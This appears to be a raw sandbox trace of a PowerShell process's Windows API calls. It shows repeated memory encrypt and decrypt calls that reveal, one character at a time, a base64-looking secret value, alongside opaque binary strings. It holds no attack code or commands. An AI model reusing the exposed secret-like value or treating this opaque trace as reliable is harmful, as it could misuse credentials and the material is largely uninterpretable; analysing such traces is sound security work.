(param_1="⇺ʀ粿ᶉ[\ꨁ섷░ﯾ▏嬬땏숊䘈⋄) returned 0x10 [0255.532] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.532] SysStringLen (param_1="gxtOmETprSqꝇ讴澽犃晴") returned 0x10 [0255.532] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.533] SysStringLen (param_1="⇺ʀ粿ᶉ[\ꨁ\냞㥑⭙쿾垝快\⋟) returned 0x10 [0255.533] SysStringLen (param_1="⇺ʀ粿ᶉ[\ꨁ\냞㥑⭙쿾垝快\⋟) returned 0x10 [0255.533] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.533] SysStringLen (param_1="gxtOmETprSqQ讴澽犃晴") returned 0x10 [0255.533] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.533] SysStringLen (param_1="⇺ʀ粿ᶉ[\ꨁ툷冸㨎⑂әᅖ⋤) returned 0x10 [0255.533] SysStringLen (param_1="⇺ʀ粿ᶉ[\ꨁ툷冸㨎⑂әᅖ⋤) returned 0x10 [0255.533] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.533] SysStringLen (param_1="gxtOmETprSqQw澽犃晴") returned 0x10 [0255.533] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.533] SysStringLen (param_1="⇺ʀ粿ᶉ[\ꨁ瀷듷ᚠỶ醠ⱨ䧹⋉) returned 0x10 [0255.533] SysStringLen (param_1="⇺ʀ粿ᶉ[\ꨁ瀷듷ᚠỶ醠ⱨ䧹⋉) returned 0x10 [0255.534] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.534] SysStringLen (param_1="gxtOmETprSqQwH犃晴") returned 0x10 [0255.534] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.534] SysStringLen (param_1="⇺ʀ粿ᶉ[\ꨁ㈷噃㰳栗ꢍ뒑⊒) returned 0x10 [0255.534] SysStringLen (param_1="⇺ʀ粿ᶉ[\ꨁ㈷噃㰳栗ꢍ뒑⊒) returned 0x10 [0255.534] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.534] SysStringLen (param_1="gxtOmETprSqQwHh晴") returned 0x10 [0255.534] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.534] SysStringLen (param_1="⇺ʀ粿ᶉ[\ꨁ섷텂ᓒचੇ屙∼) returned 0x10 [0255.534] SysStringLen (param_1="⇺ʀ粿ᶉ[\ꨁ섷텂ᓒचੇ屙∼) returned 0x10 [0255.534] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.535] SysStringLen (param_1="gxtOmETprSqQwHho") returned 0x10 [0255.535] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.535] SysStringLen (param_1="⇺ʀ粿ᶉ[\ꨁ崷\ϝ翧⎳ﴏﰬ皧") returned 0x10 [0255.535] SysStringLen (param_1="⇺ʀ粿ᶉ[\ꨁ崷\ϝ翧⎳ﴏﰬ皧") returned 0x10 [0255.535] SysStringLen (param_1="⇺ʀ粿ᶉ[\ꨁ崷\ϝ翧⎳ﴏﰬ皧") returned 0x10 [0255.535] SysStringLen (param_1="⇺ʀ粿ᶉ[\ꨁ崷\ϝ翧⎳ﴏﰬ皧") returned 0x18 [0255.535] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.536] SysStringLen (param_1="gxtOmETprSqQwHho2㭈ࢎ帍ꡜ䭰轟뮜") returned 0x18 [0255.536] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.536] SysStringLen (param_1="⇺ʀ粿ᶉ[\ꨁ崷\ϝ翧⎳ﴏﰬ皧廈〚ꐊ⣛펴큵承뉸") returned 0x18 [0255.536] SysStringLen (param_1="⇺ʀ粿ᶉ[\ꨁ崷\ϝ翧⎳ﴏﰬ皧廈〚ꐊ⣛펴큵承뉸") returned 0x18 [0255.536] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.536] SysStringLen (param_1="gxtOmETprSqQwHho2Yࢎ帍ꡜ䭰轟뮜") returned 0x18 [0255.536] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.536] SysStringLen (param_1="⇺ʀ粿ᶉ[\ꨁ崷\ϝ翧⎳ﴏﰬ皧드꣟㙢鵗퉌髬퍍椇") returned 0x18 [0255.536] SysStringLen (param_1="⇺ʀ粿ᶉ[\ꨁ崷\ϝ翧⎳ﴏﰬ皧드꣟㙢鵗퉌髬퍍椇") returned 0x18 [0255.536] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.536] SysStringLen (param_1="gxtOmETprSqQwHho2YG帍ꡜ䭰轟뮜") returned 0x18 [0255.536] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.537] SysStringLen (param_1="⇺ʀ粿ᶉ[\ꨁ崷\ϝ翧⎳ﴏﰬ皧䀊垆閠覫㹳\俙枢⊖) returned 0x18 [0255.537] SysStringLen (param_1="⇺ʀ粿ᶉ[\ꨁ崷\ϝ翧⎳ﴏﰬ皧䀊垆閠覫㹳\俙枢⊖) returned 0x18 [0255.537] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.537] SysStringLen (param_1="gxtOmETprSqQwHho2YGiꡜ䭰轟뮜") returned 0x18 [0255.537] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.537] SysStringLen (param_1="⇺ʀ粿ᶉ[\ꨁ崷\ϝ翧⎳ﴏﰬ皧屑焦䃨ယὶ閜䘽啼") returned 0x18 [0255.537] SysStringLen (param_1="⇺ʀ粿ᶉ[\ꨁ崷\ϝ翧⎳ﴏﰬ皧屑焦䃨ယὶ閜䘽啼") returned 0x18 [0255.537] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.537] SysStringLen (param_1="gxtOmETprSqQwHho2YGi+䭰轟뮜") returned 0x18 [0255.537] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.537] SysStringLen (param_1="⇺ʀ粿ᶉ[\ꨁ崷\ϝ翧⎳ﴏﰬ皧ᙀϳ狥Ͼف蟯嬒㾲") returned 0x18 [0255.537] SysStringLen (param_1="⇺ʀ粿ᶉ[\ꨁ崷\ϝ翧⎳ﴏﰬ皧ᙀϳ狥Ͼف蟯嬒㾲") returned 0x18 [0255.537] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.538] SysStringLen (param_1="gxtOmETprSqQwHho2YGi+A轟뮜") returned 0x18 [0255.538] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.538] SysStringLen (param_1="⇺ʀ粿ᶉ[\ꨁ崷\ϝ翧⎳ﴏﰬ皧諠訙臺ຽ햠ꃳᆆ") returned 0x18 [0255.538] SysStringLen (param_1="⇺ʀ粿ᶉ[\ꨁ崷\ϝ翧⎳ﴏﰬ皧諠訙臺ຽ햠ꃳᆆ") returned 0x18 [0255.538] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.538] SysStringLen (param_1="gxtOmETprSqQwHho2YGi+A4뮜") returned 0x18 [0255.538] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.538] SysStringLen (param_1="⇺ʀ粿ᶉ[\ꨁ崷\ϝ翧⎳ﴏﰬ皧裑먡箦뛗ঌ쇁᚟") returned 0x18 [0255.538] SysStringLen (param_1="⇺ʀ粿ᶉ[\ꨁ崷\ϝ翧⎳ﴏﰬ皧裑먡箦뛗ঌ쇁᚟") returned 0x18 [0255.538] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.538] SysStringLen (param_1="gxtOmETprSqQwHho2YGi+A4Q") returned 0x18 [0255.538] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.539] SysStringLen (param_1="⇺ʀ粿ᶉ[\ꨁ崷\ϝ翧⎳ﴏﰬ皧ꋙ㭖Ｉ〛砿炉Ⲅ") returned 0x18 [0255.539] SysStringLen (param_1="⇺ʀ粿ᶉ[\ꨁ崷\ϝ翧⎳ﴏﰬ皧ꋙ㭖Ｉ〛砿炉Ⲅ") returned 0x18 [0255.539] SysStringLen (param_1="⇺ʀ粿ᶉ[\ꨁ崷\ϝ翧⎳ﴏﰬ皧ꋙ㭖Ｉ〛砿炉Ⲅ") returned 0x18 [0255.539] SysStringLen (param_1="⇺ʀ粿ᶉ[\ꨁ崷\ϝ翧⎳ﴏﰬ皧ꋙ㭖Ｉ〛砿炉Ⲅ") returned 0x20 [0255.539] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.539] SysStringLen (param_1="gxtOmETprSqQwHho2YGi+A4Q7σ血諕웶忷㶀") returned 0x20 [0255.539] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.540] SysStringLen (param_1="⇺ʀ粿ᶉ[\ꨁ崷\ϝ翧⎳ﴏﰬ皧ꋙ㭖Ｉ〛砿炉ⲄІ䷳瘈룄\䇙쀼憖∉) returned 0x20 [0255.540] SysStringLen (param_1="⇺ʀ粿ᶉ[\ꨁ崷\ϝ翧⎳ﴏﰬ皧ꋙ㭖Ｉ〛砿炉ⲄІ䷳瘈룄\䇙쀼憖∉) returned 0x20 [0255.540] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.540] SysStringLen (param_1="gxtOmETprSqQwHho2YGi+A4Q78血諕웶忷㶀") returned 0x20 [0255.540] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.540] SysStringLen (param_1="⇺ʀ粿ᶉ[\ꨁ崷\ϝ翧⎳ﴏﰬ皧ꋙ㭖Ｉ〛砿炉Ⲅ▃粩뉆鲎讷徴鮰ꊀ") returned 0x20 [0255.540] SysStringLen (param_1="⇺ʀ粿ᶉ[\ꨁ崷\ϝ翧⎳ﴏﰬ皧ꋙ㭖Ｉ〛砿炉Ⲅ▃粩뉆鲎讷徴鮰ꊀ") returned 0x20 [0255.540] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.540] SysStringLen (param_1="gxtOmETprSqQwHho2YGi+A4Q78W諕웶忷㶀") returned 0x20 [0255.540] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.540] SysStringLen (param_1="⇺ʀ粿ᶉ[\ꨁ崷\ϝ翧⎳ﴏﰬ皧ꋙ㭖Ｉ〛砿炉Ⲅ㶴鷎룅륷笑垤ԕ⌾") returned 0x20 [0255.540] SysStringLen (param_1="⇺ʀ粿ᶉ[\ꨁ崷\ϝ翧⎳ﴏﰬ皧ꋙ㭖Ｉ〛砿炉Ⲅ㶴鷎룅륷笑垤ԕ⌾") returned 0x20 [0255.540] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.541] SysStringLen (param_1="gxtOmETprSqQwHho2YGi+A4Q78Wi웶忷㶀") returned 0x20 [0255.541] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.541] SysStringLen (param_1="⇺ʀ粿ᶉ[\ꨁ崷\ϝ翧⎳ﴏﰬ皧ꋙ㭖Ｉ〛砿炉Ⲅ읉ᠬ⭒꡺ᔑ憽⪛") returned 0x20 [0255.541] SysStringLen (param_1="⇺ʀ粿ᶉ[\ꨁ崷\ϝ翧⎳ﴏﰬ皧ꋙ㭖Ｉ〛砿炉Ⲅ읉ᠬ⭒꡺ᔑ憽⪛") returned 0x20 [0255.541] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.541] SysStringLen (param_1="gxtOmETprSqQwHho2YGi+A4Q78WiT웶忷㶀") returned 0x20 [0255.541] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.541] SysStringLen (param_1="⇺ʀ粿ᶉ[\ꨁ崷\ϝ翧⎳ﴏﰬ皧ꋙ㭖Ｉ〛砿炉Ⲅ洔谬갉ꌆ믺") returned 0x20 [0255.541] SysStringLen (param_1="⇺ʀ粿ᶉ[\ꨁ崷\ϝ翧⎳ﴏﰬ皧ꋙ㭖Ｉ〛砿炉Ⲅ洔谬갉ꌆ믺") returned 0x20 [0255.541] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.541] SysStringLen (param_1="gxtOmETprSqQwHho2YGi+A4Q78WiTL忷㶀") returned 0x20 [0255.541] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.542] SysStringLen (param_1="⇺ʀ粿ᶉ[\ꨁ崷\ϝ翧⎳ﴏﰬ皧ꋙ㭖Ｉ〛砿炉Ⲅ旁ë罹\叚슱쯯⋿) returned 0x20 [0255.542] SysStringLen (param_1="⇺ʀ粿ᶉ[\ꨁ崷\ϝ翧⎳ﴏﰬ皧ꋙ㭖Ｉ〛砿炉Ⲅ旁ë罹\叚슱쯯⋿) returned 0x20 [0255.542] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.542] SysStringLen (param_1="gxtOmETprSqQwHho2YGi+A4Q78WiTLH㶀") returned 0x20 [0255.542] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.542] SysStringLen (param_1="⇺ʀ粿ᶉ[\ꨁ崷\ϝ翧⎳ﴏﰬ皧ꋙ㭖Ｉ〛砿炉Ⲅ顄䊉ﮤ\ϝ뫴\飙ᕣ") returned 0x20 [0255.542] SysStringLen (param_1="⇺ʀ粿ᶉ[\ꨁ崷\ϝ翧⎳ﴏﰬ皧ꋙ㭖Ｉ〛砿炉Ⲅ顄䊉ﮤ\ϝ뫴\飙ᕣ") returned 0x20 [0255.542] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.542] SysStringLen (param_1="gxtOmETprSqQwHho2YGi+A4Q78WiTLHx") returned 0x20 [0255.542] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.543] SysStringLen (param_1="⇺ʀ粿ᶉ[\ꨁ崷\ϝ翧⎳ﴏﰬ皧ꋙ㭖Ｉ〛砿炉Ⲅ卄栴⟤ᢾ阊዇攆竀") returned 0x20 [0255.543] SysStringLen (param_1="⇺ʀ粿ᶉ[\ꨁ崷\ϝ翧⎳ﴏﰬ皧ꋙ㭖Ｉ〛砿炉Ⲅ卄栴⟤ᢾ阊዇攆竀") returned 0x20 [0255.543] SysStringLen (param_1="⇺ʀ粿ᶉ[\ꨁ崷\ϝ翧⎳ﴏﰬ皧ꋙ㭖Ｉ〛砿炉Ⲅ卄栴⟤ᢾ阊዇攆竀") returned 0x20 [0255.543] SysStringLen (param_1="⇺ʀ粿ᶉ[\ꨁ崷\ϝ翧⎳ﴏﰬ皧ꋙ㭖Ｉ〛砿炉Ⲅ卄栴⟤ᢾ阊዇攆竀") returned 0x28 [0255.543] SystemFunction041 (in: Memory=0x3af914, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af914) returned 0x0 [0255.543] SysStringLen (param_1="gxtOmETprSqQwHho2YGi+A4Q78WiTLHxL傡傍ꉰᷥ꒸ᙵ럻") returned 0x28 [0255.543] SystemFunction040 (in: Memory=0x3af914, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af914) returned 0x0 [0255.544] SysStringLen (param_1="⇺ʀ粿ᶉ[\ꨁ崷\ϝ翧⎳ﴏﰬ皧ꋙ㭖Ｉ〛砿炉Ⲅ卄栴⟤ᢾ阊዇攆竀모幵ﺈꙵ\仟ٲ∽) returned 0x28 [0255.544] SysStringLen (param_1="⇺ʀ粿ᶉ[\ꨁ崷\ϝ翧⎳ﴏﰬ皧ꋙ㭖Ｉ〛砿炉Ⲅ卄栴⟤ᢾ阊዇攆竀모幵ﺈꙵ\仟ٲ∽) returned 0x28 [0255.544] SystemFunction041 (in: Memory=0x3af914, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af914) returned 0x0 [0255.544] SysStringLen (param_1="gxtOmETprSqQwHho2YGi+A4Q78WiTLHxLV傍ꉰᷥ꒸ᙵ럻") returned 0x28 [0255.544] SystemFunction040 (in: Memory=0x3af914, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af914) returned 0x0 [0255.544] SysStringLen (param_1="⇺ʀ粿ᶉ[\ꨁ崷\ϝ翧⎳ﴏﰬ皧ꋙ㭖Ｉ〛砿炉Ⲅ卄栴⟤ᢾ阊዇攆竀쾱᧎꽿鎊ﷳ躣") returned 0x28 [0255.544] SysStringLen (param_1="⇺ʀ粿ᶉ[\ꨁ崷\ϝ翧⎳ﴏﰬ皧ꋙ㭖Ｉ〛砿炉Ⲅ卄栴⟤ᢾ阊዇攆竀쾱᧎꽿鎊ﷳ躣") returned 0x28 [0255.544] SystemFunction041 (in: Memory=0x3af914, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af914) returned 0x0 [0255.544] SysStringLen (param_1="gxtOmETprSqQwHho2YGi+A4Q78WiTLHxLVwꉰᷥ꒸ᙵ럻") returned 0x28 [0255.544] SystemFunction040 (in: Memory=0x3af914, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af914) returned 0x0 [0255.544] SysStringLen (param_1="⇺ʀ粿ᶉ[\ꨁ崷\ϝ翧⎳ﴏﰬ皧ꋙ㭖Ｉ〛砿炉Ⲅ卄栴⟤ᢾ阊዇攆竀꣫甅ꬶ낸썸᝔\x0c０") returned 0x28 [0255.545] SysStringLen (param_1="⇺ʀ粿ᶉ[\ꨁ崷\ϝ翧⎳ﴏﰬ皧ꋙ㭖Ｉ〛砿炉Ⲅ卄栴⟤ᢾ阊዇攆竀꣫甅ꬶ낸썸᝔\x0c０") returned 0x28 [0255.545] SystemFunction041 (in: Memory=0x3af914, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af914) returned 0x0 [0255.545] SysStringLen (param_1="gxtOmETprSqQwHho2YGi+A4Q78WiTLHxLVwYᷥ꒸ᙵ럻") returned 0x28 [0255.545] SystemFunction040 (in: Memory=0x3af914, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af914) returned 0x0 [0255.545] SysStringLen (param_1="⇺ʀ粿ᶉ[\ꨁ崷\ϝ翧⎳ﴏﰬ皧ꋙ㭖Ｉ〛砿炉Ⲅ卄栴⟤ᢾ阊዇攆竀የ犊釈ઞ瞍潫蜊颡") returned 0x28 [0255.545] SysStringLen (param_1="⇺ʀ粿ᶉ[\ꨁ崷\ϝ翧⎳ﴏﰬ皧ꋙ㭖Ｉ〛砿炉Ⲅ卄栴⟤ᢾ阊዇攆竀የ犊釈ઞ瞍潫蜊颡") returned 0x28 [0255.545] SystemFunction041 (in: Memory=0x3af914, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af914) returned 0x0 [0255.545] SysStringLen (param_1="gxtOmETprSqQwHho2YGi+A4Q78WiTLHxLVwYT꒸ᙵ럻") returned 0x28 [0255.545] SystemFunction040 (in: Memory=0x3af914, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af914) returned 0x0 [0255.545] SysStringLen (param_1="⇺ʀ粿ᶉ[\ꨁ崷\ϝ翧⎳ﴏﰬ皧ꋙ㭖Ｉ〛砿炉Ⲅ卄栴⟤ᢾ阊዇攆竀ㅙ\닟欧杒鑄狮⊛) returned 0x28 [0255.546] SysStringLen (param_1="⇺ʀ粿ᶉ[\ꨁ崷\ϝ翧⎳ﴏﰬ皧ꋙ㭖Ｉ〛砿炉Ⲅ卄栴⟤ᢾ阊዇攆竀ㅙ\닟欧杒鑄狮⊛) returned 0x28 [0255.546] SystemFunction041 (in: Memory=0x3af914, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af914) returned 0x0 [0255.546] SysStringLen (param_1="gxtOmETprSqQwHho2YGi+A4Q78WiTLHxLVwYTkᙵ럻") returned 0x28 [0255.546] SystemFunction040 (in: Memory=0x3af914, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af914) returned 0x0 [0255.546] SysStringLen (param_1="⇺ʀ粿ᶉ[\ꨁ崷\ϝ翧⎳ﴏﰬ皧ꋙ㭖Ｉ〛砿炉Ⲅ卄栴⟤ᢾ阊዇攆竀ꆸ\망걸꒩⤇᣹⊚) returned 0x28 [0255.546] SysStringLen (param_1="⇺ʀ粿ᶉ[\ꨁ崷\ϝ翧⎳ﴏﰬ皧ꋙ㭖Ｉ〛砿炉Ⲅ卄栴⟤ᢾ阊዇攆竀ꆸ\망걸꒩⤇᣹⊚) returned 0x28 [0255.546] SystemFunction041 (in: Memory=0x3af914, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af914) returned 0x0 [0255.551] SysStringLen (param_1="gxtOmETprSqQwHho2YGi+A4Q78WiTLHxLVwYTkO럻") returned 0x28 [0255.551] SystemFunction040 (in: Memory=0x3af914, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af914) returned 0x0 [0255.551] SysStringLen (param_1="⇺ʀ粿ᶉ[\ꨁ崷\ϝ翧⎳ﴏﰬ皧ꋙ㭖Ｉ〛砿炉Ⲅ卄栴⟤ᢾ阊዇攆竀钦쉫慴史ɭ䴏혚") returned 0x28 [0255.551] SysStringLen (param_1="⇺ʀ粿ᶉ[\ꨁ崷\ϝ翧⎳ﴏﰬ皧ꋙ㭖Ｉ〛砿炉Ⲅ卄栴⟤ᢾ阊዇攆竀钦쉫慴史ɭ䴏혚") returned 0x28 [0255.551] SystemFunction041 (in: Memory=0x3af914, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af914) returned 0x0 [0255.551] SysStringLen (param_1="gxtOmETprSqQwHho2YGi+A4Q78WiTLHxLVwYTkOY") returned 0x28 [0255.551] SystemFunction040 (in: Memory=0x3af914, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af914) returned 0x0 [0255.551] SysStringLen (param_1="⇺ʀ粿ᶉ[\ꨁ崷\ϝ翧⎳ﴏﰬ皧ꋙ㭖Ｉ〛砿炉Ⲅ卄栴⟤ᢾ阊዇攆竀뤂㸭മ赽閃踌") returned 0x28 [0255.552] SysStringLen (param_1="⇺ʀ粿ᶉ[\ꨁ崷\ϝ翧⎳ﴏﰬ皧ꋙ㭖Ｉ〛砿炉Ⲅ卄栴⟤ᢾ阊዇攆竀뤂㸭മ赽閃踌") returned 0x28 [0255.552] SysStringLen (param_1="⇺ʀ粿ᶉ[\ꨁ崷\ϝ翧⎳ﴏﰬ皧ꋙ㭖Ｉ〛砿炉Ⲅ卄栴⟤ᢾ阊዇攆竀뤂㸭മ赽閃踌") returned 0x28 [0255.552] SysStringLen (param_1="⇺ʀ粿ᶉ[\ꨁ崷\ϝ翧⎳ﴏﰬ皧ꋙ㭖Ｉ〛砿炉Ⲅ卄栴⟤ᢾ阊዇攆竀뤂㸭മ赽閃踌") returned 0x30 [0255.552] SystemFunction041 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0255.552] SysStringLen (param_1="gxtOmETprSqQwHho2YGi+A4Q78WiTLHxLVwYTkOYe膗䥄럠ڒ亟䌷") returned 0x30 [0255.552] SystemFunction040 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0255.552] SysStringLen (param_1="⇺ʀ粿ᶉ[\ꨁ崷\ϝ翧⎳ﴏﰬ皧ꋙ㭖Ｉ〛砿炉Ⲅ卄栴⟤ᢾ阊዇攆竀뤂㸭മ赽閃踌띟㐎Ꟍ퇐鴿Ω") returned 0x30 [0255.552] SysStringLen (param_1="⇺ʀ粿ᶉ[\ꨁ崷\ϝ翧⎳ﴏﰬ皧ꋙ㭖Ｉ〛砿炉Ⲅ卄栴⟤ᢾ阊዇攆竀뤂㸭മ赽閃踌띟㐎Ꟍ퇐鴿Ω") returned 0x30 [0255.552] SystemFunction041 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0255.552] SysStringLen (param_1="gxtOmETprSqQwHho2YGi+A4Q78WiTLHxLVwYTkOYe/䥄럠ڒ亟䌷") returned 0x30 [0255.552] SystemFunction040 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0255.553] SysStringLen (param_1="⇺ʀ粿ᶉ[\ꨁ崷\ϝ翧⎳ﴏﰬ皧ꋙ㭖Ｉ〛砿炉Ⲅ卄栴⟤ᢾ阊዇攆竀뤂㸭മ赽閃踌䳶裒ᵔᾏ뼱ꪺ堃") returned 0x30 [0255.553] SysStringLen (param_1="⇺ʀ粿ᶉ[\ꨁ崷\ϝ翧⎳ﴏﰬ皧ꋙ㭖Ｉ〛砿炉Ⲅ卄栴⟤ᢾ阊዇攆竀뤂㸭മ赽閃踌䳶裒ᵔᾏ뼱ꪺ堃") returned 0x30 [0255.553] SystemFunction041 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0255.553] SysStringLen (param_1="gxtOmETprSqQwHho2YGi+A4Q78WiTLHxLVwYTkOYe/Y럠ڒ亟䌷") returned 0x30 [0255.553] SystemFunction040 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0255.553] SysStringLen (param_1="⇺ʀ粿ᶉ[\ꨁ崷\ϝ翧⎳ﴏﰬ皧ꋙ㭖Ｉ〛砿炉Ⲅ卄栴⟤ᢾ阊዇攆竀뤂㸭മ赽閃踌毗꫼댟⏠攖ꊔ\黝⊢) returned 0x30 [0255.553] SysStringLen (param_1="⇺ʀ粿ᶉ[\ꨁ崷\ϝ翧⎳ﴏﰬ皧ꋙ㭖Ｉ〛砿炉Ⲅ卄栴⟤ᢾ阊዇攆竀뤂㸭മ赽閃踌毗꫼댟⏠攖ꊔ\黝⊢) returned 0x30 [0255.553] SystemFunction041 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0255.553] SysStringLen (param_1="gxtOmETprSqQwHho2YGi+A4Q78WiTLHxLVwYTkOYe/Y=ڒ亟䌷") returned 0x30 [0255.553] SystemFunction040 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0255.553] EtwEventActivityIdControl () returned 0x0 [0255.553] EtwEventActivityIdControl () returned 0x0 [0255.554] EtwEventActivityIdControl () returned 0x0 [0255.554] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e684, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0255.554] EtwEventActivityIdControl () returned 0x0 [0255.554] EtwEventActivityIdControl () returned 0x0 [0255.554] EtwEventActivityIdControl () returned 0x0 [0255.555] SysStringLen (param_1="") returned 0x8 [0255.555] 